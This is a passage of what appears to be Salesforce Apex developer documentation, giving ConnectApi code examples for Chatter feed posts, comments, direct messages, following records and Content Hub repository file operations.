ConnectApi.ActionLinkTemplateBindingInput();
    bindingInput.key = key;
    bindingInput.value = bindingMap.get(key);
    bindingInputs.add(bindingInput);
}

// Set the template Id and template binding values in the action link group definition.
ConnectApi.ActionLinkGroupDefinitionInput actionLinkGroupDefinitionInput = new
ConnectApi.ActionLinkGroupDefinitionInput();
```



```

actionLinkGroupDefinitionInput.templateId = template.id;
actionLinkGroupDefinitionInput.templateBindings = bindingInputs;

// Instantiate the action link group definition.
ConnectApi.ActionLinkGroupDefinition actionLinkGroupDefinition =
    ConnectApi.ActionLinks.createActionLinkGroupDefinition(Network.getNetworkId(),
actionLinkGroupDefinitionInput);

ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
ConnectApi.FeedElementCapabilitiesInput feedElementCapabilitiesInput = new
ConnectApi.FeedElementCapabilitiesInput();
ConnectApi.AssociatedActionsCapabilityInput associatedActionsCapabilityInput = new
ConnectApi.AssociatedActionsCapabilityInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();

// Define the FeedItemInput object to pass to postFeedElement
feedItemInput.body = messageBodyInput;
feedItemInput.capabilities = feedElementCapabilitiesInput;
feedItemInput.subjectId = 'me';

// The MessageBodyInput object holds the text in the post
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();

textSegmentInput.text = 'Click to post a feed item.';
messageBodyInput.messageSegments.add(textSegmentInput);

// The FeedElementCapabilitiesInput object holds the capabilities of the feed item.
// For this feed item, we define an associated actions capability to hold the action link
// group.
// The action link group ID is returned from the call to create the action link group
// definition.
feedElementCapabilitiesInput.associatedActions = associatedActionsCapabilityInput;
associatedActionsCapabilityInput.actionLinkGroupIds = new List<String>();
associatedActionsCapabilityInput.actionLinkGroupIds.add(actionLinkGroupDefinition.id);

// Post the feed item.
ConnectApi.FeedElement feedElement =
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), feedItemInput);

```

Edit a Feed Element

Call a method to edit a feed element.

Call `updateFeedElement(communityId, feedElementId, feedElement)` to edit a feed element. Feed items are the only type of feed element that can be edited.

```

String communityId = Network.getNetworkId();

// Get the last feed item created by the context user.
List<FeedItem> feedItems = [SELECT Id FROM FeedItem WHERE CreatedById = :UserInfo.getUserId()
    ORDER BY CreatedDate DESC];
if (feedItems.isEmpty()) {

```

```

    // Return null within anonymous apex.
    return null;
}
String feedElementId = feedItems[0].id;

ConnectApi.FeedEntityIsEditable isEditable =
ConnectApi.ChatterFeeds.isFeedElementEditableByMe(communityId, feedElementId);

if (isEditable.isEditableByMe == true){
    ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
    ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
    ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();

    messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();

    textSegmentInput.text = 'This is my edited post.';
    messageBodyInput.messageSegments.add(textSegmentInput);

    feedItemInput.body = messageBodyInput;

    ConnectApi.FeedElement editedFeedElement =
ConnectApi.ChatterFeeds.updateFeedElement(communityId, feedElementId, feedItemInput);
}

```

Edit a Question Title and Post

Call a method to edit a question title and post.

Call `updateFeedElement(communityId, feedElementId, feedElement)` to edit a question title and post.

```

String communityId = Network.getNetworkId();

// Get the last feed item created by the context user.
List<FeedItem> feedItems = [SELECT Id FROM FeedItem WHERE CreatedById = :UserInfo.getUserId()
ORDER BY CreatedDate DESC];
if (feedItems.isEmpty()) {
    // Return null within anonymous apex.
    return null;
}
String feedElementId = feedItems[0].id;

ConnectApi.FeedEntityIsEditable isEditable =
ConnectApi.ChatterFeeds.isFeedElementEditableByMe(communityId, feedElementId);

if (isEditable.isEditableByMe == true){

    ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
    ConnectApi.FeedElementCapabilitiesInput feedElementCapabilitiesInput = new
ConnectApi.FeedElementCapabilitiesInput();
    ConnectApi.QuestionAndAnswersCapabilityInput questionAndAnswersCapabilityInput = new
ConnectApi.QuestionAndAnswersCapabilityInput();
    ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
    ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();

    messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();

```

```

textSegmentInput.text = 'This is my edited question.';
messageBodyInput.messageSegments.add(textSegmentInput);

feedItemInput.body = messageBodyInput;
feedItemInput.capabilities = feedElementCapabilitiesInput;

feedElementCapabilitiesInput.questionAndAnswers = questionAndAnswersCapabilityInput;
questionAndAnswersCapabilityInput.questionTitle = 'Where is my edited question?';

ConnectApi.FeedElement editedFeedElement =
ConnectApi.ChatterFeeds.updateFeedElement(communityId, feedElementId, feedItemInput);
}

```

Like a Feed Element

Call a method to like a feed element.

Call `likeFeedElement(communityId, feedElementId)` to like a feed element.

```

ConnectApi.ChatterLike chatterLike = ConnectApi.ChatterFeeds.likeFeedElement(null,
'0D5D00000000KuGh');

```

Bookmark a Feed Element

Call a method to bookmark a feed element.

Call `updateFeedElementBookmarks(communityId, feedElementId, isBookmarkedByCurrentUser)` to bookmark a feed element.

```

ConnectApi.BookmarksCapability bookmark =
ConnectApi.ChatterFeeds.updateFeedElementBookmarks(null, '0D5D00000000KuGh', true);

```

Share a Feed Element (prior to Version 39.0)

Call a method to share a feed element.

 **Important:** In API version 39.0 and later, `shareFeedElement(communityId, subjectId, feedElementType, originalFeedElementId)` isn't supported. See [Share a Feed Element \(in Version 39.0 and Later\)](#).

Call `shareFeedElement(communityId, subjectId, feedElementType, originalFeedElementId)` to share a feed item (which is a type of feed element) with a group.

```

ConnectApi.ChatterLike chatterLike = ConnectApi.ChatterFeeds.likeFeedElement(null,
'0D5D00000000KuGh');

```

Share a Feed Element (in Version 39.0 and Later)

Call a method to share a feed element.

Call `postFeedElement(communityId, feedElement)` to share a feed element.

```

// Define the FeedItemInput object to pass to postFeedElement
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
feedItemInput.subjectId = 'me';

```

```

ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
textSegmentInput.text = 'Look at this post I'm sharing.';
// The MessageBodyInput object holds the text in the post
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
messageBodyInput.messageSegments.add(textSegmentInput);
feedItemInput.body = messageBodyInput;

ConnectApi.FeedEntityShareCapabilityInput shareInput = new
ConnectApi.FeedEntityShareCapabilityInput();
shareInput.feedEntityId = '0D5R0000000SEbc';
ConnectApi.FeedElementCapabilitiesInput feedElementCapabilitiesInput = new
ConnectApi.FeedElementCapabilitiesInput();
feedElementCapabilitiesInput.feedEntityShare = shareInput;
feedItemInput.capabilities = feedElementCapabilitiesInput;
// Post the feed item.
ConnectApi.FeedElement feedElement =
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), feedItemInput);

```

Send a Direct Message

Call a method to send a direct message.

Call `postFeedElement(communitiyId, feedElement)` to send a direct message to two people.

```

// Define the FeedItemInput object to pass to postFeedElement
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();

ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
textSegmentInput.text = 'Thanks for attending my presentation test run this morning. Send
me any feedback.';

// The MessageBodyInput object holds the text in the post
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
messageBodyInput.messageSegments.add(textSegmentInput);
feedItemInput.body = messageBodyInput;

// The FeedElementCapabilitiesInput object holds the capabilities of the feed item.
// For this feed item, we define a direct message capability to hold the member(s) and the
subject.

List<String> memberIds = new List<String>();
memberIds.add('005B00000016OUQ');
memberIds.add('005B0000001rIN6');

ConnectApi.DirectMessageCapabilityInput dmInput = new
ConnectApi.DirectMessageCapabilityInput();
dmInput.subject = 'Thank you!';
dmInput.membersToAdd = memberIds;

ConnectApi.FeedElementCapabilitiesInput feedElementCapabilitiesInput = new
ConnectApi.FeedElementCapabilitiesInput();
feedElementCapabilitiesInput.directMessage = dmInput;

```

```
feedItemInput.capabilities = feedElementCapabilitiesInput;

// Post the feed item.
ConnectApi.FeedElement feedElement =
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), feedItemInput);
```

Post a Comment

Call a method to post a comment.

Call `postCommentToFeedElement(communityId, feedElementId, text)` to post a plain text comment to a feed element.

```
ConnectApi.Comment comment = ConnectApi.ChatterFeeds.postCommentToFeedElement(null,
'0D5D00000000KuGh', 'I agree with the proposal.');
```

Post a Comment with a Mention

Make call or use the `ConnectApiHelper` repository to post a comment with a mention.

You can post comments with mentions two ways. Use the [ConnectApiHelper repository on GitHub](#) to write a single line of code, or use this example, which calls `postCommentToFeedElement(communityId, feedElementId, comment, feedElementFileUpload)`.

```
String communityId = null;
String feedElementId = '0D5D00000000KtW3';

ConnectApi.CommentInput commentInput = new ConnectApi.CommentInput();
ConnectApi.MentionSegmentInput mentionSegmentInput = new ConnectApi.MentionSegmentInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();

messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();

textSegmentInput.text = 'Does anyone in this group have an idea? ';
messageBodyInput.messageSegments.add(textSegmentInput);

mentionSegmentInput.id = '005D00000000oOT';
messageBodyInput.messageSegments.add(mentionSegmentInput);

commentInput.body = messageBodyInput;

ConnectApi.Comment commentRep = ConnectApi.ChatterFeeds.postCommentToFeedElement(communityId,
feedElementId, commentInput, null);
```

Post a Comment with an Existing File

Make a call to post a comment with an already uploaded file.

To post a comment and attach an existing file (already uploaded to Salesforce) to the comment, create a `ConnectApi.CommentInput` object to pass to `postCommentToFeedElement` (`communityId`, `feedElementId`, `comment`, `feedElementFileUpload`).

```
String feedElementId = '0D5D0000000KtW3';

ConnectApi.CommentInput commentInput = new ConnectApi.CommentInput();

ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();

textSegmentInput.text = 'I attached this file from Salesforce Files.';

messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
messageBodyInput.messageSegments.add(textSegmentInput);
commentInput.body = messageBodyInput;

ConnectApi.CommentCapabilitiesInput commentCapabilitiesInput = new
ConnectApi.CommentCapabilitiesInput();
ConnectApi.ContentCapabilityInput contentCapabilityInput = new
ConnectApi.ContentCapabilityInput();

commentCapabilitiesInput.content = contentCapabilityInput;
contentCapabilityInput.contentDocumentId = '069D00000001rNJ';

commentInput.capabilities = commentCapabilitiesInput;

ConnectApi.Comment commentRep =
ConnectApi.ChatterFeeds.postCommentToFeedElement(Network.getNetworkId(), feedElementId,
commentInput, null);
```

Post a Comment with a New File

Call a method to post a comment with a new file.

To post a comment and upload and attach a new file to the comment, create a `ConnectApi.CommentInput` object and a `ConnectApi.BinaryInput` object to pass to the `postCommentToFeedElement` (`communityId`, `feedElementId`, `comment`, `feedElementFileUpload`) method.

```
String feedElementId = '0D5D0000000KtW3';

ConnectApi.CommentInput commentInput = new ConnectApi.CommentInput();

ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();

textSegmentInput.text = 'Enjoy this new file.';

messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
messageBodyInput.messageSegments.add(textSegmentInput);
commentInput.body = messageBodyInput;

ConnectApi.CommentCapabilitiesInput commentCapabilitiesInput = new
ConnectApi.CommentCapabilitiesInput();
```

```

ConnectApi.ContentCapabilityInput contentCapabilityInput = new
ConnectApi.ContentCapabilityInput();

commentCapabilitiesInput.content = contentCapabilityInput;
contentCapabilityInput.title = 'Title';

commentInput.capabilities = commentCapabilitiesInput;

String text = 'These are the contents of the new file.';
Blob myBlob = Blob.valueOf(text);
ConnectApi.BinaryInput binInput = new ConnectApi.BinaryInput(myBlob, 'text/plain',
'fileName');

ConnectApi.Comment commentRep =
ConnectApi.ChatterFeeds.postCommentToFeedElement(Network.getNetworkId(), feedElementId,
commentInput, binInput);

```

Post a Rich-Text Comment with Inline Image

Make a call or use the ConnectApiHelper repository to post a comment with an already uploaded, inline image.

You can post rich-text comments with inline images and mentions two ways. Use the [ConnectApiHelper repository on GitHub](#) to write a single line of code, or use this example, which calls `postCommentToFeedElement(communityId, feedElementId, comment, feedElementFileUpload)`. In this example, the image file is existing content that has already been uploaded to Salesforce.

```

String communityId = null;
String feedElementId = '0D5R0000000SBEr';
String imageId = '069R00000000IgQ';
String mentionedUserId = '005R0000000DiMz';

ConnectApi.CommentInput input = new ConnectApi.CommentInput();
ConnectApi.MessageBodyInput messageInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegment;
ConnectApi.MentionSegmentInput mentionSegment;
ConnectApi.MarkupBeginSegmentInput markupBeginSegment;
ConnectApi.MarkupEndSegmentInput markupEndSegment;
ConnectApi.InlineImageSegmentInput inlineImageSegment;

messageInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();

markupBeginSegment = new ConnectApi.MarkupBeginSegmentInput();
markupBeginSegment.markupType = ConnectApi.MarkupType.Bold;
messageInput.messageSegments.add(markupBeginSegment);

textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = 'Hello ';
messageInput.messageSegments.add(textSegment);

mentionSegment = new ConnectApi.MentionSegmentInput();
mentionSegment.id = mentionedUserId;
messageInput.messageSegments.add(mentionSegment);

```

```

textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = '!';
messageInput.messageSegments.add(textSegment);

markupEndSegment = new ConnectApi.MarkupEndSegmentInput();
markupEndSegment.markupType = ConnectApi.MarkupType.Bold;
messageInput.messageSegments.add(markupEndSegment);

inlineImageSegment = new ConnectApi.InlineImageSegmentInput();
inlineImageSegment.altText = 'image one';
inlineImageSegment.fileId = imageId;
messageInput.messageSegments.add(inlineImageSegment);

input.body = messageInput;

ConnectApi.ChatterFeeds.postCommentToFeedElement(communityId, feedElementId, input, null);

```

Post a Rich-Text Feed Comment with a Code Block

Call a method to post a comment with a code block.

This example calls `postCommentToFeedElement(communityId, feedElementId, comment, feedElementFileUpload)` to post a comment with a code block.

```

String communityId = null;
String feedElementId = '0D5R0000000SBEr';
String codeSnippet = '<html>\n\t<body>\n\t\tHello, world!\n\t</body>\n</html>';

ConnectApi.CommentInput input = new ConnectApi.CommentInput();
ConnectApi.MessageBodyInput messageInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegment;
ConnectApi.MarkupBeginSegmentInput markupBeginSegment;
ConnectApi.MarkupEndSegmentInput markupEndSegment;

messageInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();

markupBeginSegment = new ConnectApi.MarkupBeginSegmentInput();
markupBeginSegment.markupType = ConnectApi.MarkupType.Code;
messageInput.messageSegments.add(markupBeginSegment);

textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = codeSnippet;
messageInput.messageSegments.add(textSegment);

markupEndSegment = new ConnectApi.MarkupEndSegmentInput();
markupEndSegment.markupType = ConnectApi.MarkupType.Code;
messageInput.messageSegments.add(markupEndSegment);

input.body = messageInput;

ConnectApi.ChatterFeeds.postCommentToFeedElement(communityId, feedElementId, input, null);

```


Edit a Comment

Call a method to edit a comment.

Call `updateComment(communityId, commentId, comment)` to edit a comment.

```
String commentId;
String communityId = Network.getNetworkId();

// Get the last feed item created by the context user.
List<FeedItem> feedItems = [SELECT Id FROM FeedItem WHERE CreatedById = :UserInfo.getUserId()
    ORDER BY CreatedDate DESC];
if (feedItems.isEmpty()) {
    // Return null within anonymous apex.
    return null;
}
String feedElementId = feedItems[0].id;

ConnectApi.CommentPage commentPage =
ConnectApi.ChatterFeeds.getCommentsForFeedElement(communityId, feedElementId);
if (commentPage.items.isEmpty()) {
    // Return null within anonymous apex.
    return null;
}
commentId = commentPage.items[0].id;

ConnectApi.FeedEntityIsEditable isEditable =
ConnectApi.ChatterFeeds.isCommentEditableByMe(communityId, commentId);

if (isEditable.isEditableByMe == true){
    ConnectApi.CommentInput commentInput = new ConnectApi.CommentInput();
    ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
    ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();

    messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();

    textSegmentInput.text = 'This is my edited comment.';
    messageBodyInput.messageSegments.add(textSegmentInput);

    commentInput.body = messageBodyInput;

    ConnectApi.Comment editedComment = ConnectApi.ChatterFeeds.updateComment(communityId,
    commentId, commentInput);
}
```

Follow a Record

Call a method to follow a record.

Call `follow(communityId, userId, subjectId)` to follow a record.

```
ChatterUsers.ConnectApi.Subscription subscriptionToRecord =
ConnectApi.ChatterUsers.follow(null, 'me', '001RR000002G4Y0');
```

SEE ALSO:

[Unfollow a Record](#)

Unfollow a Record

Call a method to stop following a record.

When you follow a record such as a user, the call to `ConnectApi.ChatterUsers.follow` returns a `ConnectApi.Subscription` object. To unfollow a record, pass the `id` property of that object to `deleteSubscription(communityId, subscriptionId)`.

```
ConnectApi.Chatter.deleteSubscription(null, '0E8RR0000004CnK0AU');
```

SEE ALSO:

[Follow a Record](#)

Get a Repository

Call a method to get a repository.

Call `getRepository(repositoryId)` to get a repository.

```
final string repositoryId = '0XCxx0000000123GAA';
final ConnectApi.ContentHubRepository repository =
ConnectApi.ContentHub.getRepository(repositoryId);
```

Get Repositories

Call a method to get all repositories.

Call `getRepositories()` to get all repositories and get the first SharePoint online repository found.

```
final string sharePointOnlineProviderType = 'ContentHubSharepointOffice365';
final ConnectApi.ContentHubRepositoryCollection repositoryCollection =
ConnectApi.ContentHub.getRepositories();
ConnectApi.ContentHubRepository sharePointOnlineRepository = null;
for(ConnectApi.ContentHubRepository repository : repositoryCollection.repositories){
    if(sharePointOnlineProviderType.equalsIgnoreCase(repository.providerType.type)){
        sharePointOnlineRepository = repository;
        break;
    }
}
```

Get Allowed Item Types

Call a method to get allowed item types.

Call `getAllowedItemTypes(repositoryId, repositoryFolderId, filter)` with a filter of `FilesOnly` to get the first `ConnectApi.ContentHubItemTypeSummary.id` of a file. The context user can create allowed files in a repository folder in the external system.

```
final ConnectApi.ContentHubAllowedItemTypeCollection allowedItemTypesColl =
ConnectApi.ContentHub.getAllowedItemTypes(repositoryId, repositoryFolderId,
ConnectApi.ContentHubItemType.FilesOnly);
final List<ConnectApi.ContentHubItemTypeSummary> allowedItemTypes =
allowedItemTypesColl.allowedItemTypes;
string allowedFileItemId = null;
if(allowedItemTypes.size() > 0){
    ConnectApi.ContentHubItemTypeSummary allowedItemTypeSummary = allowedItemTypes.get(0);

    allowedFileItemId = allowedItemTypeSummary.id;
}
```

Get Previews

Call a method to get all supported preview formats and their respective URLs.

Call `getPreviews(repositoryId, repositoryFileId)` to get all supported preview formats and their respective URLs and number of renditions. For each supported preview format, we show every rendition URL available.

```
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFileId =
'document:1-zcAlBaeoQbo2_yNFiHCcK6QJTPmOke-kHFC4TYg3rk';
final ConnectApi.FilePreviewCollection previewsCollection =
ConnectApi.ContentHub.getPreviews(gDriveRepositoryId, gDriveFileId);
for(ConnectApi.FilePreview filePreview : previewsCollection.previews){
    System.debug(String.format('Preview - URL: \''{0}\'', format: \''{1}\'', nbr of
renditions for this format: {2}', new String[]{ filePreview.url,
filePreview.format.name(),String.valueOf(filePreview.previewUrls.size())});
    for(ConnectApi.FilePreviewUrl filePreviewUrl : filePreview.previewUrls){
        System.debug('-----> Rendition URL: ' + filePreviewUrl.previewUrl);
    }
}
```

Get a File Preview

Call a method to get a file preview.

Call `getFilePreview(repositoryId, repositoryFileId, formatType)` with a `formatType` of `Thumbnail` to get the thumbnail format preview along with its respective URL and number of thumbnail renditions. For each thumbnail format, we show every rendition URL available.

```
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFileId =
'document:1-zcAlBaeoQbo2_yNFiHCcK6QJTPmOke-kHFC4TYg3rk';
final ConnectApi.FilePreviewCollection previewsCollection =
ConnectApi.ContentHub.getPreviews(gDriveRepositoryId, gDriveFileId);
for(ConnectApi.FilePreview filePreview : previewsCollection.previews){
    System.debug(String.format('Preview - URL: \''{0}\'', format: \''{1}\'', nbr of
renditions for this format: {2}', new String[]{ filePreview.url,
filePreview.format.name(),String.valueOf(filePreview.previewUrls.size())});
    for(ConnectApi.FilePreviewUrl filePreviewUrl : filePreview.previewUrls){
        System.debug('-----> Rendition URL: ' + filePreviewUrl.previewUrl);
    }
}
```

```

    }
}

```

Get Repository Folder Items

Call a method to get a collection of repository folder items.

Call `getRepositoryFolderItems(repositoryId, repositoryFolderId)` to get the collection of items in a repository folder. For files, we show the file's name, size, external URL, and download URL. For folders, we show the folder's name, description, and external URL.

```

final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFolderId =
'folder:0B01Tys1KmM3sSVJ2bjIzTGFqSWs';
final ConnectApi.RepositoryFolderItemsCollection folderItemsColl =
ConnectApi.ContentHub.getRepositoryFolderItems(gDriveRepositoryId,gDriveFolderId);
final List<ConnectApi.RepositoryFolderItem> folderItems = folderItemsColl.items;
System.debug('Number of items in repository folder: ' + folderItems.size());
for (ConnectApi.RepositoryFolderItem item : folderItems) {
    ConnectApi.RepositoryFileSummary fileSummary = item.file;
    if (fileSummary != null) {
        System.debug(String.format('File item - name: \''{0}\'', size: {1}, external URL:
        \''{2}\'', download URL: \''{3}\'', new String[]{ fileSummary.name,
String.valueOf(fileSummary.contentSize), fileSummary.externalDocumentUrl,
fileSummary.downloadUrl}));
    } else {
        ConnectApi.RepositoryFolderSummary folderSummary = item.folder;
        System.debug(String.format('Folder item - name: \''{0}\'', description:
        \''{1}\'', new String[]{ folderSummary.name, folderSummary.description}));
    }
}

```

Get a Repository Folder

Call a method to get a repository folder.

Call `getRepositoryFolder(repositoryId, repositoryFolderId)` to get a repository folder.

```

final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFolderId =
'folder:0B01Tys1KmM3sSVJ2bjIzTGFqSWs';
final ConnectApi.RepositoryFolderDetail folder =
ConnectApi.ContentHub.getRepositoryFolder(gDriveRepositoryId, gDriveFolderId);
System.debug(String.format('Folder - name: \''{0}\'', description: \''{1}\'', external
URL: \''{2}\'', folder items URL: \''{3}\'',
new String[]{ folder.name, folder.description, folder.externalFolderUrl,
folder.folderItemsUrl}));

```

Get a Repository File Without Permissions Information

Call a method to get a repository file without permission information.

Call `getRepositoryFile(repositoryId, repositoryFileId)` to get a repository file without permissions information.

```

final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFileId =
'file:0B01Tys1KmM3sTmxKNjVJbWZja00';
final ConnectApi.RepositoryFileDetail file =

```

```
ConnectApi.ContentHub.getRepositoryFile(gDriveRepositoryId, gDriveFileId);
System.debug(String.format('File - name: \''{0}\'', size: {1}, external URL: \''{2}\'',
    download URL: \''{3}\'',
    new String[]{ file.name, String.valueOf(file.contentSize), file.externalDocumentUrl,
file.downloadUrl}));
```

Get a Repository File with Permissions Information

Call a method to get a repository file with permission information.

Call `getRepositoryFile(repositoryId, repositoryFileId, includeExternalFilePermissionsInfo)` to get a repository file with permissions information.

```
final String gDriveRepositoryId = '0XCxx00000000DGAY', gDriveFileId =
'file:0B0lTyslKmM3sTmxKNjVJbWZja00';

final ConnectApi.RepositoryFileDetail file =
ConnectApi.ContentHub.getRepositoryFile(gDriveRepositoryId, gDriveFileId, true);
System.debug(String.format('File - name: \''{0}\'', size: {1}, external URL: \''{2}\'',
    download URL: \''{3}\'', new String[]{ file.name, String.valueOf(file.contentSize),
file.externalDocumentUrl, file.downloadUrl}));
final ConnectApi.ExternalFilePermissionInformation externalFilePermInfo =
file.externalFilePermissionInformation;

//permission types
final List<ConnectApi.ContentHubPermissionType> permissionTypes =
externalFilePermInfo.externalFilePermissionTypes;
for (ConnectApi.ContentHubPermissionType permissionType : permissionTypes){
    System.debug(String.format('Permission type - id: \''{0}\'', label: \''{1}\'', new
String[]{ permissionType.id, permissionType.label}));
}

//permission groups
final List<ConnectApi.RepositoryGroupSummary> groups =
externalFilePermInfo.repositoryPublicGroups;
for (ConnectApi.RepositoryGroupSummary ggroup : groups){
    System.debug(String.format('Group - id: \''{0}\'', name: \''{1}\'', type:
'\''{2}\'', new String[]{ ggroup.id, ggroup.name, ggroup.type.name()}));
}
```

Create a Repository File Without Content (Metadata Only)

Call a method to create a file without binary content (metadata only) in a Google Drive repository folder.

Call `addRepositoryItem(repositoryId, repositoryFolderId, file)` to create a file without binary content (metadata only) in a Google Drive repository folder. After the file is created, we show the file's ID, name, description, external URL, and download URL.

```
final String gDriveRepositoryId = '0XCxx00000000DGAY', gDriveFolderId =
'folder:0B0lTyslKmM3sSVJ2bjIzTGFqSWs';

final ConnectApi.ContentHubItemInput newItem = new ConnectApi.ContentHubItemInput();
newItem.itemTypeId = 'document'; //see getAllowTypes for any file item types available
for creation/update
```

```

newItem.fields = new List<ConnectApi.ContentHubFieldValueInput>();

//Metadata: name field
final ConnectApi.ContentHubFieldValueInput fieldValueInput = new
ConnectApi.ContentHubFieldValueInput();
fieldValueInput.name = 'name';
fieldValueInput.value = 'new folder item name.txt';
newItem.fields.add(fieldValueInput);

//Metadata: description field
final ConnectApi.ContentHubFieldValueInput fieldValueInputDesc = new
ConnectApi.ContentHubFieldValueInput();
fieldValueInputDesc.name = 'description';
fieldValueInputDesc.value = 'It does describe it';
newItem.fields.add(fieldValueInputDesc);

final ConnectApi.RepositoryFolderItem newFolderItem =
ConnectApi.ContentHub.addRepositoryItem(gDriveRepositoryId, gDriveFolderId, newItem);
final ConnectApi.RepositoryFileSummary newFile = newFolderItem.file;
System.debug(String.format('New file - id: \\\'\'{0}\\\'\'', name: \\\'\'{1}\\\'\'', description:
\\\'\'{2}\\\'\' \n external URL: \\\'\'{3}\\\'\'', download URL: \\\'\'{4}\\\'\'', new String[]{
newFile.id, newFile.name, newFile.description, newFile.externalDocumentUrl,
newFile.downloadUrl}));

```

SEE ALSO:

[Apex Reference Guide: ConnectApi.ContentHubItemInput](#)

[Apex Reference Guide: ConnectApi.ContentHubFieldValueInput](#)

Create a Repository File with Content

Call a method to create a file with binary content in a Google Drive repository folder.

Call `addRepositoryItem(repositoryId, repositoryFolderId, file, filedata)` to create a file with binary content in a Google Drive repository folder. After the file is created, we show the file's ID, name, description, external URL, and download URL.

```

final String gDriveRepositoryId = '0XCxx00000000DGAY', gDriveFolderId =
'folder:0B0lTys1KmM3sSVJ2bjIzTGFqSWs';

final ConnectApi.ContentHubItemInput newItem = new ConnectApi.ContentHubItemInput();
newItem.itemTypeId = 'document'; //see getAllowTypes for any file item types available
for creation/update
newItem.fields = new List<ConnectApi.ContentHubFieldValueInput>();

//Metadata: name field
final String newFileName = 'new folder item name.txt';
final ConnectApi.ContentHubFieldValueInput fieldValueInput = new
ConnectApi.ContentHubFieldValueInput();
fieldValueInput.name = 'name';
fieldValueInput.value = newFileName;
newItem.fields.add(fieldValueInput);

//Metadata: description field

```

```

final ConnectApi.ContentHubFieldValueInput fieldValueInputDesc = new
ConnectApi.ContentHubFieldValueInput();
fieldValueInputDesc.name = 'description';
fieldValueInputDesc.value = 'It does describe it';
newItem.fields.add(fieldValueInputDesc);

//Binary content
final Blob newFileBlob = Blob.valueOf('awesome content for brand new file');
final String newFileMimeType = 'text/plain';
final ConnectApi.BinaryInput fileBinaryInput = new ConnectApi.BinaryInput(newFileBlob,
newFileMimeType, newFileName);

final ConnectApi.RepositoryFolderItem newFolderItem =
ConnectApi.ContentHub.addRepositoryItem(gDriveRepositoryId, gDriveFolderId, newItem,
fileBinaryInput);
final ConnectApi.RepositoryFileSummary newFile = newFolderItem.file;
System.debug(String.format('New file - id: \\\'\'{0}\\\'\'', name: \\\'\'{1}\\\'\'', description:
\\\'\'{2}\\\'\' \n external URL: \\\'\'{3}\\\'\'', download URL: \\\'\'{4}\\\'\'', new String[]{
newFile.id, newFile.name, newFile.description, newFile.externalDocumentUrl,
newFile.downloadUrl}));

```

SEE ALSO:

[Apex Reference Guide: ConnectApi.ContentHubItemInput](#)

[Apex Reference Guide: ConnectApi.ContentHubFieldValueInput](#)

[Apex Reference Guide: ConnectApi.BinaryInput](#)

Update a Repository File Without Content (Metadata Only)

Call a method to update the metadata of a repository file.

Call `updateRepositoryFile(repositoryId, repositoryFileId, file)` to update the metadata of a file in a repository folder. After the file is updated, we show the file's ID, name, description, external URL, download URL.

```

final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFolderId =
'folder:0B01Tys1KmM3sSVJ2bjIzTGFqSWs', gDriveFileId =
'document:1q9OatVpcyYBK-JWzp_PhR75ulQghwFP15zhkamKrRcQ';

final ConnectApi.ContentHubItemInput updatedItem = new ConnectApi.ContentHubItemInput();
updatedItem.itemTypeId = 'document'; //see getAllowTypes for any file item types available
for creation/update
updatedItem.fields = new List<ConnectApi.ContentHubFieldValueInput>();

//Metadata: name field
final ConnectApi.ContentHubFieldValueInput fieldValueInputName = new
ConnectApi.ContentHubFieldValueInput();
fieldValueInputName.name = 'name';
fieldValueInputName.value = 'updated file name.txt';
updatedItem.fields.add(fieldValueInputName);

final ConnectApi.RepositoryFileDetail updatedFile =
